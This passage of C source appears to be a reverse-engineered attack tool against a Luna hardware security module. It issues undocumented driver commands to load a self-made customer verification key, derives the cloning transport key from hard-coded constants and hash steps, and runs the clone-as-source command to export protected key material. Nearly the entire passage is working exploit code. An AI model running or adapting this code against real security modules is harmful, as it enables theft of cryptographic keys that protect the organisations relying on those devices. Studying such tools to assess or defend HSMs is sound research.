		0x52, 0x10, 0x16, 0x28,		0x78, 0x5F, 0xBA, 0xF9,			0x64, 0xFB, 0x92, 0x29,			0x43, 0xD1, 0xB1, 0xFA,
		0xB8, 0x96, 0x42, 0x2F,		0xF1, 0xD4, 0x4F, 0x91,			0x2D, 0x98, 0x4E, 0xB8,			0x86, 0x5C, 0xAC, 0x42,
		0xF0, 0x87, 0x13, 0x7E,		0x59, 0xB9, 0xA2, 0x69,			0x1B, 0x3C, 0x19, 0x2D,			0xA4, 0x9F, 0x13, 0x83
							};

	CK_OBJECT_CLASS tclass= CKO_PUBLIC_KEY;
	CK_KEY_TYPE keyType = CKK_RSA;
	CK_UTF8CHAR label[] = "tokenpubkey";
	//CK_BYTE modulus[128];
	CK_BYTE exponent[] = { 0x3 };
	CK_BBOOL cktrue = TRUE;
	CK_ATTRIBUTE ttemplate[] =
		{
			{CKA_CLASS,				&tclass,			sizeof(tclass)},
			{CKA_KEY_TYPE,			&keyType,			sizeof(keyType)},
			{CKA_TOKEN,				&cktrue,			sizeof(cktrue)},
			{CKA_LABEL,				&label,				sizeof(label)-1},
			{CKA_WRAP,				&cktrue,			sizeof(cktrue)},
			{CKA_ENCRYPT,			&cktrue,			sizeof(cktrue)},
			{CKA_MODULUS,			(src_cert+0x18),	sizeof(barking_modulus)},
			{CKA_PUBLIC_EXPONENT,	exponent,			sizeof(exponent)}
		};

	CK_OBJECT_CLASS dclass= CKO_DATA;
	CK_BYTE dvalue[] = {
//     1     2     3     4     5     6     7     8     9     A     B     C     D     E     F     10   11
	  'L' , 'U' , 'N' , 'A' , '_' , 'K' , 'E' , 'Y' , '_' , 'C' , 'L' , 'N' , '_' , 'R' , 'E' , 'Q' , '\0' ,
	  FIXED_KEYPART_A,
	  FIXED_KEYPART_B,
	  FIXED_KEYPART_C		
						};
	
	CK_ATTRIBUTE dtemplate[] =
		{
			{CKA_CLASS,				&dclass,	sizeof(dclass)},
			{CKA_VALUE,				&dvalue,	sizeof(dvalue)}			
		};
	
	CK_MECHANISM mech= { CKM_RSA_PKCS , NULL , 0 };

	CK_BYTE *result=(CK_BYTE *)encrypted_req;
	DWORD result_len=4096;
	DWORD dvalue_len=sizeof(dvalue);

	//-------------- create public key of source token as object ------------------

	r=PROC_C_CreateObject(session,(void *)&ttemplate,8,&pk_handle);
	
	if( r != CKR_OK ) 
		{ 
		printf("C_CreateObject() failed - code 0x%x\n", r); 
		error_exit("failed.\n");
		} 	
	
	//printf("public key handle = %d\n",pk_handle);

	//------------------- encrypt the cleartext -----------------

	r=PROC_C_EncryptInit(session,(void *)&mech,pk_handle);

	if (r != CKR_OK) 
		{ 
		printf("C_EncryptInit() failed - code 0x%x\n", r); 
		error_exit("failed.\n");
		} 	
	

	r=PROC_C_Encrypt(session,(void *)dvalue,dvalue_len,(void *)result,&result_len);

	if (r != CKR_OK) 
		{ 
		printf("C_EncryptInit() failed - code 0x%x\n", r); 
		error_exit("failed.\n");
		} 		
	
	//printf("result len = 0x%X\n",result_len);
	*encrypted_req_len=result_len;
	}

//-----------------------------------------------------------------------------------------------
//---------------------------------- make_CVK_keypair -------------------------------------------
//-----------------------------------------------------------------------------------------------

void make_CVK_keypair(void)
	{
	// this function is undocumented

	CK_RV r;
	//FILE *fp;
	
	DWORD pub_handle;
	DWORD priv_handle;

	CK_BYTE *modulus=(CK_BYTE *)malloc(4096);
	DWORD modulus_len=4096;

	CK_MECHANISM mechanism = { CKM_RSA_PKCS_KEY_PAIR_GEN , NULL_PTR , 0 };

	CK_ULONG modulusBits = 1024;
	CK_BYTE publicExponent[] = { 0x3 };
	CK_BYTE id[] = { ID_CVK_KEY };
	CK_BYTE subject[] = { 'C' , 'V' , 'K' , '_' , 'K' , 'E' , 'Y' };
	CK_BBOOL cktrue = TRUE;
	CK_BBOOL ckfalse = FALSE;

	CK_ATTRIBUTE publicKeyTemplate[] =
		{
			{CKA_ENCRYPT,			&cktrue,		sizeof(cktrue)},
			{CKA_VERIFY,			&cktrue,		sizeof(cktrue)},
			{CKA_WRAP,				&cktrue,		sizeof(cktrue)},
			{CKA_MODULUS_BITS,		&modulusBits,	sizeof(modulusBits)},
			{CKA_PUBLIC_EXPONENT,	publicExponent,	sizeof(publicExponent)},
			//{CKA_EXTRACTABLE,		&cktrue,		sizeof(cktrue)},
			//{CKA_SENSITIVE,			&ckfalse,		sizeof(ckfalse)}		
		};

	CK_ATTRIBUTE privateKeyTemplate[] =
		{
			{CKA_TOKEN,				&cktrue,		sizeof(cktrue)},
			{CKA_PRIVATE,			&cktrue,		sizeof(cktrue)},
			{CKA_SUBJECT,			&subject,		sizeof(subject)},
			{CKA_ID,				id,				sizeof(id)},
			{CKA_SENSITIVE,			&cktrue,		sizeof(cktrue)},
			{CKA_DECRYPT,			&cktrue,		sizeof(cktrue)},
			{CKA_SIGN,				&cktrue,		sizeof(cktrue)},
			{CKA_UNWRAP,			&cktrue,		sizeof(cktrue)},
			{CKA_EXTRACTABLE,		&cktrue,		sizeof(cktrue)}
		};

	DWORD cvk_exist;

	CK_ATTRIBUTE attrTemplate[] =
		{
			{CKA_MODULUS,			modulus,		modulus_len}
		};

	DWORD addr=(DWORD)malloc(4096);
	DWORD addr2=(DWORD)malloc(4096);

	CK_KEY_TYPE keyType = CKK_RSA;
	CK_OBJECT_CLASS tclass = CKO_PUBLIC_KEY;
	CK_BYTE exponent[] = { 0x3 };

	CK_ATTRIBUTE pktemp[] = 
		{
			//{CKA_CLASS,	&tclass,	sizeof(tclass)},
			{CKA_KEY_TYPE,		&keyType,	sizeof(keyType)},
			{CKA_MODULUS,		modulus,	0x80},
			{CKA_PUBLIC_EXPONENT,		exponent,	sizeof(exponent)}
		};

	get_cvk_handle(&cvk_exist);

	if( cvk_exist != 0 )
		error_exit("this CVK ID already exists on the token.\n");

	r=PROC_C_GenerateKeyPair(session,&mechanism,publicKeyTemplate,5,privateKeyTemplate,9,&pub_handle,&priv_handle);

	if (r != CKR_OK) 
		{ 
		printf("C_GenerateKeyPair() failed - code 0x%x\n", r); 
		error_exit("failed.\n");
		} 	
	

	r=PROC_C_GetAttributeValue(session,pub_handle,attrTemplate,1);

	if (r != CKR_OK) 
		{ 
		printf("C_GetAttributeValue() failed - code 0x%x\n", r); 
		error_exit("failed.\n");
		} 	
	
	printf("modulus len = 0x%X ( %d )\n",modulus_len,modulus_len);
	
	//-------------- save the public modulus to a CVK file ---------------------

	//printf("modulus =\n");
	//dump_data(modulus,0x90);
	//getch();

	/*
	sprintf(filename,"CVK%d.pub",ID_CVK_KEY);
	fp=fopen(filename,"wb");
	if( fp == NULL )
		error_exit("error opening CVK file for write.\n");
	fwrite(modulus,1,0x80,fp);
	fclose(fp);*/

	//-----------------------------------------------------------------------------

	
	// MKB WARNING ! This function is live and will set the CVK //
	
	printf("WARNING!\nPress 'Y' to continue and run LUNA_LOAD_CUST_VERIFICATION_KEY\n");
	if( getch() != 'Y' )
		{
		printf("abort....\n");
		error_exit("aborted.\n");
		}

	printf("WARNING!\nPress 'N' to continue and run LUNA_LOAD_CUST_VERIFICATION_KEY\n");
	if( getch() != 'N' )
		{
		printf("abort....\n");
		error_exit("aborted.\n");
		}

		{
		DWORD fpv=do_LUNA_GET_FPV();
		printf("FPV=%08X\n",fpv);
		}

	do_LUNA_LOAD_CUST_VERIFICATION_KEY(modulus);
	
	}


//-----------------------------------------------------------------------------------------------
//------------------------------- get_source_cert -----------------------------------------------
//-----------------------------------------------------------------------------------------------

int get_source_cert(UCHAR *src_cert,DWORD *src_cert_len)
	{
	// this function is undocumented

	UCHAR iobuf[0x40];
	UCHAR buffer[0x8];

	UCHAR cmd_data[4096];
	UCHAR resp_data_buffer[0x4000];
	UCHAR *response=resp_data_buffer+0x2000;

	do_read_window();
	
	*((DWORD *)(buffer+0))=(DWORD)iobuf;
		
	*((DWORD *)(iobuf+0x00))=0x0;				//unknown (retcode to become)
	*((DWORD *)(iobuf+0x04))=0x0;				//slotID
	*((DWORD *)(iobuf+0x08))=0x0;				//unknown
	*((DWORD *)(iobuf+0x0C))=(DWORD)cmd_data;	//ptr cmd data
	*((DWORD *)(iobuf+0x10))=0x14;				//len cmd data
	*((DWORD *)(iobuf+0x14))=0x0;				//unknown
	*((DWORD *)(iobuf+0x18))=0x0;				//unknown
	*((DWORD *)(iobuf+0x1C))=0x0;				//unknown
	*((DWORD *)(iobuf+0x20))=0x0;				//unknown
	*((DWORD *)(iobuf+0x24))=(DWORD)response;	//ptr response buffer (backwards?)
	*((DWORD *)(iobuf+0x28))=0x2000;			//available len response buffer
	*((DWORD *)(iobuf+0x2C))=0x0;				//unknown
	*((DWORD *)(iobuf+0x30))=0x0;				//unknown
	*((DWORD *)(iobuf+0x34))=0x0;				//frame pointers
	*((DWORD *)(iobuf+0x38))=0x0;				//ptr sub for frame handler
	*((DWORD *)(iobuf+0x3C))=0x0;				//unknown

	*((DWORD *)(cmd_data+0x00))=0x0F000002;			//cmd code
	*((DWORD *)(cmd_data+0x04))=0x2000;				//unknown
	*((DWORD *)(cmd_data+0x08))=0x4;				//unknown
	*((DWORD *)(cmd_data+0x0C))=0x7A120;			//unknown
	*((DWORD *)(cmd_data+0x10))=0x0F;				//LUNA_GET param?
	
	driver_io(LUNA_EXECUTE_INTERFACE3_CMD,buffer);	

	//printf("get_source_cert... FPV = 0x%08X\n",*((DWORD *)(response+0x14)));

	// 0x124 is standard length of a cert
	memcpy(src_cert,response+0x14,0x124);
	*src_cert_len=0x124;
	
	return SUCCESS;
	}

//-----------------------------------------------------------------------------------------------
//------------------------------- make_transport_key --------------------------------------------
//-----------------------------------------------------------------------------------------------

void make_transport_key(UCHAR *transport_key, UCHAR *kcv_raw, UCHAR *clear_cln_rep, DWORD source_serial)
	{
	// this function is undocumented

	CK_BYTE key_cln_rep[0x18];

	int q,i,j,v;

	CK_BYTE kcv_key[MAX_OBJECT_SIZE];
	
	CK_BYTE key_cln_req[0x18] = {
								 FIXED_KEYPART_A ,
								 FIXED_KEYPART_B ,
								 FIXED_KEYPART_C
								};

	CK_BYTE *hash;		
	DWORD len_hash;

	DWORD constants[] = { 0x3CC3A596 , 0xDEADBEEF , 0x01234567 , 0x89ABCDEF };

	CK_BYTE *slotA=(CK_BYTE *)malloc(4096);
	DWORD len_slotA=0x14;

	CK_BYTE *slotB=(CK_BYTE *)malloc(4096);
	DWORD len_slotB=0x10;


	DWORD one=0x1234567;
	DWORD two=source_serial; //source serial no
	DWORD three=0xDEADBEEF;
	DWORD four=0xFAFACADE;
	DWORD five=0x89ABCDEF;
	DWORD six=TARGET_SERIAL; // target serial no

	//---------------------------------------------------------------------------------
	//------------------------------ KCV key derivation -------------------------------
	//---------------------------------------------------------------------------------
	
	
	//------------- zeroth : XOR additional KCV raw onto first 64 UCHARs --------

	for(q=0;q<(110-0x40);q++)
		{		
		kcv_raw[q]	 = kcv_raw[q] ^ kcv_raw[q+0x40];		
		}

	//------------------------------- first : MD5 hash ---------------------
	// in 0x40 out 0x10

	
	
	hash=(CK_BYTE *)malloc(4096);
	len_hash=4096;
	memset(hash,'\0',4096);


	CRYPTO_MD5(hash,kcv_raw,0x40);
	len_hash=0x10;
	
	//---------------------------- second : XOR with constants ----------------

	
	//printf("\nconsts: 0x3CC3A596 , 0xDEADBEEF , 0x01234567 , 0x89ABCDEF\n");
	
	//dump_data(hash,0x4);

	hash[0] ^= 0x96;
	hash[1] ^= 0xA5;
	hash[2] ^= 0xC3;
	hash[3] ^= 0x3C;

	//dump_data(hash,0x4);

	//((DWORD *)hash)[0]^=constants[0];

	//dump_data(hash,0x4);

	((DWORD *)hash)[1]^=constants[1];
	((DWORD *)hash)[2]^=constants[2];
	((DWORD *)hash)[3]^=constants[3];

	//printf("\nhash after SECOND\n");
	//dump_data(hash,len_hash);

	//------------------------------- third : SHA1 hash ------------------------


	CRYPTO_SHA1(slotA,hash,len_hash);
	len_slotA=0x14;

	//------- three and a bit ------

	*((DWORD *)(slotA+0x14))=0x0;

	//-------- three.five --------

	*((DWORD *)(hash+0x10))=0x1;

	//----------------------------- fourth : memcpy ------------------------------

	memcpy(hash+0x14,slotA,0x14);

	//----------------------------- fifth : MD5 hash ------------------------------

	memset(slotB,'\0',4096);
	
	CRYPTO_MD5(slotB,hash,0x28);
	len_slotB=0x10;
	
	//------------------------- sixth : XOR stage2s together ----------------------

	for(i=0;i<0x10;i++)
		{
		CK_BYTE temp;

		temp=slotA[i+4];
		slotA[i+4]=temp ^ slotB[i];
		}

	//------ six.five -------

	*((DWORD *)(hash+0x10))=0x2;

	//-------------------------- seventh : memcpy ---------------------------------

	memcpy(hash+0x14,slotB,0x10);

	//-------------------------- eighth : SHA1 hash -------------------------------

	len_slotB=0x14;

	CRYPTO_SHA1(slotB,hash,0x24);
	
	//------------------------------ ninth : XOR stage2s together ------------------

	for(i=0;i<0x14;i++)
//	for(int k=0;i<0x14;i++)
		{
		CK_BYTE temp;

		temp=slotA[i+4];
		slotA[i+4]=temp ^ slotB[i];
		}

	//------------------------------- extract the kcv key ---------------------------

	memcpy(kcv_key,slotA,0x18);

	//printf("KCV KEY\n");
	//dump_data(kcv_key,0x18);

	//-------------------------------- combine the components -----------------------

	
	//DWORD toffset=sizeof("LUNA_KEY_CLN_REP\0");
	
	 memcpy(key_cln_rep,clear_cln_rep+0x15,0x18);  //CORRECT
	//memcpy(key_cln_rep,clear_cln_rep+0x14,0x18);  // WRONG!!!

	
	memcpy(transport_key+0x00,&one,4);
	memcpy(transport_key+0x04,&two,4);
	memcpy(transport_key+0x08,&three,4);
	memcpy(transport_key+0x0C,&four,4);
	memcpy(transport_key+0x10,&five,4);
	memcpy(transport_key+0x14,&six,4);

	//printf("\ntransport_key initial beef\n");
	//dump_data(transport_key,0x18);

	for(j=0;j<0x18;j++)
		{
		transport_key[j]=transport_key[j] ^ key_cln_req[j] ^ key_cln_rep[j] ^ kcv_key[j];	
		}

	// fix transport key parity

	
	for(v=0;v<0x18;v++)
		{
	    UCHAR k=transport_key[v];
	    
	    UCHAR l=(UCHAR)((k & 0xF0) >> 4);
	    UCHAR r=(UCHAR)(k & 0x0F);
	    UCHAR x=(UCHAR)(l ^ r);

	    l=(UCHAR)((x & 0xC) >> 2);
	    r=(UCHAR)(x & 0x3);
	    x=(UCHAR)(l ^ r);

	    l=(UCHAR)((x & 0x2) >> 1);
	    r=(UCHAR)(x & 0x1);
	    x=(UCHAR)(l ^ r);

	    if( x==0 )
			transport_key[v]=(UCHAR)(k^0x01);
		}

	//printf("TRANSPORT KEY\n");
	//dump_data(transport_key,0x18);
	}

//-----------------------------------------------------------------------------------------------
//-------------------------------- do_LUNA_GET_FPV ----------------------------------------------
//-----------------------------------------------------------------------------------------------

DWORD do_LUNA_GET_FPV(void)
	{
	// this function is undocumented. as it happens, it's just a
	// test function that returns the FPV of the token.

	UCHAR iobuf[0x40];
	UCHAR buffer[0x8];

	UCHAR cmd_data[4096];
	UCHAR resp_data_buffer[0x4000];
	UCHAR *response=resp_data_buffer+0x2000;

	do_read_window();
	
	*((DWORD *)(buffer+0))=(DWORD)iobuf;
		
	*((DWORD *)(iobuf+0x00))=0x0;				//unknown (retcode to become)
	*((DWORD *)(iobuf+0x04))=0x0;				//slotID
	*((DWORD *)(iobuf+0x08))=0x0;				//unknown
	*((DWORD *)(iobuf+0x0C))=(DWORD)cmd_data;	//ptr cmd data
	*((DWORD *)(iobuf+0x10))=0x14;				//len cmd data
	*((DWORD *)(iobuf+0x14))=0x0;				//unknown
	*((DWORD *)(iobuf+0x18))=0x0;				//unknown
	*((DWORD *)(iobuf+0x1C))=0x0;				//unknown
	*((DWORD *)(iobuf+0x20))=0x0;				//unknown
	*((DWORD *)(iobuf+0x24))=(DWORD)response;	//ptr response buffer (backwards?)
	*((DWORD *)(iobuf+0x28))=0x2000;			//available len response buffer
	*((DWORD *)(iobuf+0x2C))=0x0;				//unknown
	*((DWORD *)(iobuf+0x30))=0x0;				//unknown
	*((DWORD *)(iobuf+0x34))=0x0;				//frame pointers
	*((DWORD *)(iobuf+0x38))=0x0;				//ptr sub for frame handler
	*((DWORD *)(iobuf+0x3C))=0x0;				//unknown

	*((DWORD *)(cmd_data+0x00))=0x0F000002;			//cmd code
	*((DWORD *)(cmd_data+0x04))=0x2000;				//unknown
	*((DWORD *)(cmd_data+0x08))=0x4;				//unknown
	*((DWORD *)(cmd_data+0x0C))=0x7A120;			//unknown
	*((DWORD *)(cmd_data+0x10))=0x0B;				//LUNA_GET param?
	
	driver_io(LUNA_EXECUTE_INTERFACE3_CMD,buffer);

	return  *((DWORD *)(response+0x14));
	}

//-----------------------------------------------------------------------------------------------
//-------------------------------- do_LUNA_GET_FPV ----------------------------------------------
//-----------------------------------------------------------------------------------------------

DWORD do_LUNA_GET_SERIAL(void)
	{
	// this function is undocumented. it gets the serial
	// number of the token

	UCHAR iobuf[0x40];
	UCHAR buffer[0x8];

	UCHAR cmd_data[4096];
	UCHAR resp_data_buffer[0x4000];
	UCHAR *response=resp_data_buffer+0x2000;

	do_read_window();
	
	*((DWORD *)(buffer+0))=(DWORD)iobuf;
		
	*((DWORD *)(iobuf+0x00))=0x0;				//unknown (retcode to become)
	*((DWORD *)(iobuf+0x04))=0x0;				//slotID
	*((DWORD *)(iobuf+0x08))=0x0;				//unknown
	*((DWORD *)(iobuf+0x0C))=(DWORD)cmd_data;	//ptr cmd data
	*((DWORD *)(iobuf+0x10))=0x14;				//len cmd data
	*((DWORD *)(iobuf+0x14))=0x0;				//unknown
	*((DWORD *)(iobuf+0x18))=0x0;				//unknown
	*((DWORD *)(iobuf+0x1C))=0x0;				//unknown
	*((DWORD *)(iobuf+0x20))=0x0;				//unknown
	*((DWORD *)(iobuf+0x24))=(DWORD)response;	//ptr response buffer (backwards?)
	*((DWORD *)(iobuf+0x28))=0x2000;			//available len response buffer
	*((DWORD *)(iobuf+0x2C))=0x0;				//unknown
	*((DWORD *)(iobuf+0x30))=0x0;				//unknown
	*((DWORD *)(iobuf+0x34))=0x0;				//frame pointers
	*((DWORD *)(iobuf+0x38))=0x0;				//ptr sub for frame handler
	*((DWORD *)(iobuf+0x3C))=0x0;				//unknown

	*((DWORD *)(cmd_data+0x00))=0x0F000002;			//cmd code
	*((DWORD *)(cmd_data+0x04))=0x2000;				//unknown
	*((DWORD *)(cmd_data+0x08))=0x4;				//unknown
	*((DWORD *)(cmd_data+0x0C))=0x7A120;			//unknown
	*((DWORD *)(cmd_data+0x10))=0x03;				//LUNA_GET param?
	
	driver_io(LUNA_EXECUTE_INTERFACE3_CMD,buffer);

	return  *((DWORD *)(response+0x14));
	}

//-----------------------------------------------------------------------------------------------
//----------------------------- do_LUNA_CLONE_AS_SOURCE -----------------------------------------
//-----------------------------------------------------------------------------------------------

int do_LUNA_CLONE_AS_SOURCE(UCHAR *enc_cln_req,UCHAR *tgt_cert,UCHAR *enc_cln_reply,UCHAR *enc_key,DWORD *enc_key_len,DWORD objectID)
	{
	// this function is undocumented.

	UCHAR iobuf[0x40];
	UCHAR buffer[0x8];

	UCHAR cmd_data[4096];
	UCHAR resp_data_buffer[0x4000];
	UCHAR *response=resp_data_buffer+0x2000;


	DWORD sessloop;

    for(sessloop=0;sessloop<120;sessloop++)
	{

	do_read_window();
	
	*((DWORD *)(buffer+0))=(DWORD)iobuf;
		
	*((DWORD *)(iobuf+0x00))=0x0;				//unknown (retcode to become)
	*((DWORD *)(iobuf+0x04))=0x0;				//slotID
	*((DWORD *)(iobuf+0x08))=0x0;				//unknown
	*((DWORD *)(iobuf+0x0C))=(DWORD)cmd_data;	//ptr cmd data
	*((DWORD *)(iobuf+0x10))=0x1C8;				//len cmd data
	*((DWORD *)(iobuf+0x14))=0x0;				//unknown
	*((DWORD *)(iobuf+0x18))=0x0;				//unknown
	*((DWORD *)(iobuf+0x1C))=0x0;				//unknown
	*((DWORD *)(iobuf+0x20))=0x0;				//unknown
	*((DWORD *)(iobuf+0x24))=(DWORD)response;	//ptr response buffer (backwards?)
	*((DWORD *)(iobuf+0x28))=0x2000;			//available len response buffer
	*((DWORD *)(iobuf+0x2C))=0x0;				//unknown
	*((DWORD *)(iobuf+0x30))=0x0;				//unknown
	*((DWORD *)(iobuf+0x34))=0x0;				//frame pointers
	*((DWORD *)(iobuf+0x38))=0x0;				//ptr sub for frame handler
	*((DWORD *)(iobuf+0x3C))=0x0;				//unknown

	memset(cmd_data,0xFE,0x200);

	*((DWORD *)(cmd_data+0x00))=0x3320A000;					//cmd code
	*((DWORD *)(cmd_data+0x04))=0x2000;						//unknown
	*((DWORD *)(cmd_data+0x08))=0x6;				//unknown (MKB-W2K used to be 6)

	// sometimes 0x8 works...
    //printf("sessloop=%d.\n",sessloop);
	*((DWORD *)(cmd_data+0x0C))=sessloop;					//session handle (so it seems);
	//*((DWORD *)(cmd_data+0x0C))=session;					//session handle (so it seems);

	//*((DWORD *)(cmd_data+0x10))=0x8;						//
	
	*((DWORD *)(cmd_data+0x10))=0xC350;						//

	*((DWORD *)(cmd_data+0x14))=objectID;					// object handle (usually 6)
	*((DWORD *)(cmd_data+0x18))=0x1AC;						// len both
	*((DWORD *)(cmd_data+0x1C))=0x124;						// len target cert
	memcpy(cmd_data+0x20,tgt_cert,0x124);					//target cert
	*((DWORD *)(cmd_data+0x144))=0x80;						//len key cln req
	memcpy(cmd_data+0x148,enc_cln_req,0x80);				//target cert
	
	//dump_data(cmd_data,0x100);

	driver_io(LUNA_EXECUTE_INTERFACE3_CMD,buffer);

	//dump_data(response,0x30);
	
	// copy out data (to do: figure out length field)
	memcpy(enc_cln_reply,response+0x18,0x80);
	memcpy(enc_key_len,response+0x18+0x80,4);

	if( *((DWORD *)response) == 0x00000000 )
		break;
	else
		{
		printf(".");
		//printf("B3 error -- session ID didn't match. trying next...\n");
		}	
	
	//if( *enc_key_len != 0xCCCCCCCC )
	//	break;

	//printf("Matching Session ID failed.\n");
	}
/**/
	printf("\n");

	if( sessloop == 120 )
		{
		end_pkcs_session();
		error_exit("LUNA_CLONE_AS_SOURCE failed to execute.\n");
		}
	
	memcpy(enc_key,response+0x18+0x80+0x4,*enc_key_len);	

	return SUCCESS;
	}

//-----------------------------------------------------------------------------------------------
//----------------------- do_LUNA_LOAD_CUST_VERIFICATION_KEY ------------------------------------
//-----------------------------------------------------------------------------------------------

int do_LUNA_LOAD_CUST_VERIFICATION_KEY(UCHAR *modulus)
	{
	// this function is undocumented

	UCHAR iobuf[0x40];
	UCHAR buffer[0x8];

	UCHAR cmd_data[4096];
	UCHAR resp_data_buffer[0x4000];
	UCHAR *response=resp_data_buffer+0x2000;


	DWORD sessloop;

    for(sessloop=0;sessloop<120;sessloop++) {

	do_read_window();
	
	*((DWORD *)(buffer+0))=(DWORD)iobuf;
		
	*((DWORD *)(iobuf+0x00))=0x0;				//unknown (retcode to become)
	*((DWORD *)(iobuf+0x04))=0x0;				//slotID
	*((DWORD *)(iobuf+0x08))=0x0;				//unknown
	*((DWORD *)(iobuf+0x0C))=(DWORD)cmd_data;	//ptr cmd data
	*((DWORD *)(iobuf+0x10))=0xA1;				//len cmd data
	*((DWORD *)(iobuf+0x14))=0x0;				//unknown
	*((DWORD *)(iobuf+0x18))=0x0;				//unknown
	*((DWORD *)(iobuf+0x1C))=0x0;				//unknown
	*((DWORD *)(iobuf+0x20))=0x0;				//unknown
	*((DWORD *)(iobuf+0x24))=(DWORD)response;	//ptr response buffer (backwards?)
	*((DWORD *)(iobuf+0x28))=0x2000;			//available len response buffer
	*((DWORD *)(iobuf+0x2C))=0x0;				//unknown
	*((DWORD *)(iobuf+0x30))=0x0;				//unknown
	*((DWORD *)(iobuf+0x34))=0x0;				//frame pointers
	*((DWORD *)(iobuf+0x38))=0x0;				//ptr sub for frame handler
	*((DWORD *)(iobuf+0x3C))=0x0;				//unknown

	memset(cmd_data,0xFE,0x200);

	*((DWORD *)(cmd_data+0x00))=0x3330A006;					//cmd code
	*((DWORD *)(cmd_data+0x04))=0x2000;						//unknown
	*((DWORD *)(cmd_data+0x08))=0x6;						//unknown
	
	// sometimes 0x8 works...
    //printf("sessloop=%d.\n",sessloop);
	*((DWORD *)(cmd_data+0x0C))=sessloop;					//session handle (so it seems);
	//*((DWORD *)(cmd_data+0x0C))=session;					//session handle (so it seems);
	
	*((DWORD *)(cmd_data+0x10))=0x7A120;					//unknown
	*((DWORD *)(cmd_data+0x14))=0x1;						//vendor id
	*((DWORD *)(cmd_data+0x18))=0x80;						//len modulus
	memcpy(cmd_data+0x1C,modulus,0x80);						//modulus
	*((DWORD *)(cmd_data+0x9C))=0x1;						//len exponent
	*((DWORD *)(cmd_data+0xA0))=0x3;						//exponent
		
	//dump_data(cmd_data,0xC0);

	driver_io(LUNA_EXECUTE_INTERFACE3_CMD,buffer);

	//dump_data(response,0x30);	
	
	if( *((DWORD *)response) == 0x00000000 )
		break;
	else
		{
		printf(".");
		//printf("B3 error -- session ID didn't match. trying next...\n");
		}
	}

	printf("\n");

	if( sessloop == 120 )
		{
		end_pkcs_session();
		error_exit("LUNA_LOAD_CUST_VERIF_KEY failed to execute.\n");
		}

	printf("SUCCESS -- CVK set.\n");
	return SUCCESS;
	}

//-----------------------------------------------------------------------------------------------
//---------------------------------- driver_io --------------------------------------------------
//-----------------------------------------------------------------------------------------------

int driver_io(DWORD control,UCHAR *buffer)
	{
	// this function is undocumented

	BOOL ret;
	DWORD amt_returned=0;

	ret=DeviceIoControl(
		
		lunacr0,				//hDevice               
		control,				//dwIoControlCode       
		buffer,					// lpInBuffer           pointer valid
		4,						// nInBufferSize        4
		NULL,					// lpOutBuffer			NULL
		0,						// nOutBufferSize		0
		&amt_returned,			// lpUCHARsReturned		pointer valid
		NULL		  		    // lpOverlapped			pointer valid
					);

	
	if( !ret )
		{
		printf("error code : %d\n",GetLastError());
		error_exit("IO command failed.\n");
		}

	return amt_returned;
	}

//-----------------------------------------------------------------------------------------------
//-------------------------------- test_token_pres ----------------------------------------------
//-----------------------------------------------------------------------------------------------

int test_token_pres(UCHAR slot)
	{
	BOOL ret;
	UCHAR buffer[8];
	DWORD amt_returned=0;
	UCHAR fred[4096];
	UCHAR bill[4096];
	UCHAR *f,*b;

	memset(fred,0,4096);
	memset(bill,0,4096);
	
	f=fred;
	b=bill;
	memcpy(buffer,(&f),4);
	memcpy(buffer+4,(&b),4);
	
	memcpy(f+4,&slot,1);
/*
	printf("buffer before...\n");
	dump_data(buffer,0xC);*/

	ret=DeviceIoControl(
		
		lunacr0,				//hDevice               
		LUNA_TEST_TOKEN_PRESENCE,//dwIoControlCode       
		&buffer,				// lpInBuffer           pointer valid
		4,						// nInBufferSize        4
		NULL,					// lpOutBuffer			NULL
		0,						// nOutBufferSize		0
		&amt_returned,			// lpUCHARsReturned		pointer valid
		NULL		  		    // lpOverlapped			pointer valid
					);

/*	printf("buffer after...\n");
	dump_data(buffer,0xC);

	printf("FRED\n");
	dump_data(f,16);
	printf("BILL\n");
	dump_data(b,16);
	
	printf("\n");*/
	
	if( !ret )
		{
		printf("error code : %d\n",GetLastError());
		error_exit("IO command failed.\n");
		}

	return *(f+8);
	}

//-----------------------------------------------------------------------------------------------
//-------------------------------- do_read_window -----------------------------------------------
//-----------------------------------------------------------------------------------------------

void do_read_window(void)
	{
	// this function is undocumented

	UCHAR iobuf[0x14];
	UCHAR buffer[0x8];

	UCHAR data[8192];

	*((DWORD *)(buffer+0))=(DWORD)iobuf;
		
	*((DWORD *)(iobuf+0x00))=0xF;	//unknown (retcode to become)
	*((DWORD *)(iobuf+0x04))=slotID;	//slotID
	*((DWORD *)(iobuf+0x08))=0x68;	//unknown
	*((DWORD *)(iobuf+0x0C))=(DWORD)data;	//ptr FTSI
	*((DWORD *)(iobuf+0x10))=0x4;	//unknown
	
	//dump_data(data,0x4);
	//dump_data(iobuf,0x14);

	driver_io(LUNA_READ_WINDOW,buffer);

	//dump_data(data,0x14);
	}

//-----------------------------------------------------------------------------------------------
//-------------------------------- get_num_slots ------------------------------------------------
//-----------------------------------------------------------------------------------------------

int get_num_slots(void)
	{
	// this function is undocumented. it returns the number of slots
	UCHAR iobuf[0xC];
	UCHAR buffer[0x8];

	*((DWORD *)(buffer+0))=(DWORD)iobuf;
		
	driver_io(LUNA_GET_NUMBER_OF_SLOTS,buffer);
	
	return iobuf[4];
	}

//-----------------------------------------------------------------------------------------------
//------------------------------------------ get_slotID -----------------------------------------
//-----------------------------------------------------------------------------------------------

DWORD get_slotID(void)
	{
	// this function is undocumented

	printf("\n%d slots in total.\n",get_num_slots());

	if( test_token_pres(0) && test_token_pres(1) )
		error_exit("Two tokens present. Put the source token in slot 0, and leave slot 1 empty.\n");

	if( test_token_pres(0) )
		{
		printf("Using token in slot 0.\n");
		return 0;
		}
	if( test_token_pres(1) )
		{
		printf("Using token in slot 1.\n");		
		return 1;
		}

	return NO_TOKEN_PRESENT;
	}

//-----------------------------------------------------------------------------------------------
//---------------------------- init_cr0_driver --------------------------------------------------
//-----------------------------------------------------------------------------------------------

void init_cr0_driver(void)
	{
	// this function is undocumented

	UCHAR lunacr0_name[]="\\\\.\\Lunacr0";

	//--------------------------- open lunacr0 device driver ------------------------

	lunacr0=CreateFileA(	lunacr0_name,
							(GENERIC_READ | GENERIC_WRITE),
							(FILE_SHARE_READ | FILE_SHARE_WRITE),
							NULL,
							OPEN_EXISTING,
							FILE_FLAG_DELETE_ON_CLOSE,
							NULL
						);
	
	// FILE_FLAG_DELETE_ON_CLOSE = 0x4000000
	// GENERIC_READ | GENERIC_WRITE = 0xC0000000
	// FILE_SHARE_READ | FILE_SHARE_WRITE = 0x3
	// OPEN_EXISTING = 0x3

	if( lunacr0 == (HANDLE)-1 ) 
		error_exit("could not open lunaCR driver.\n");
	}
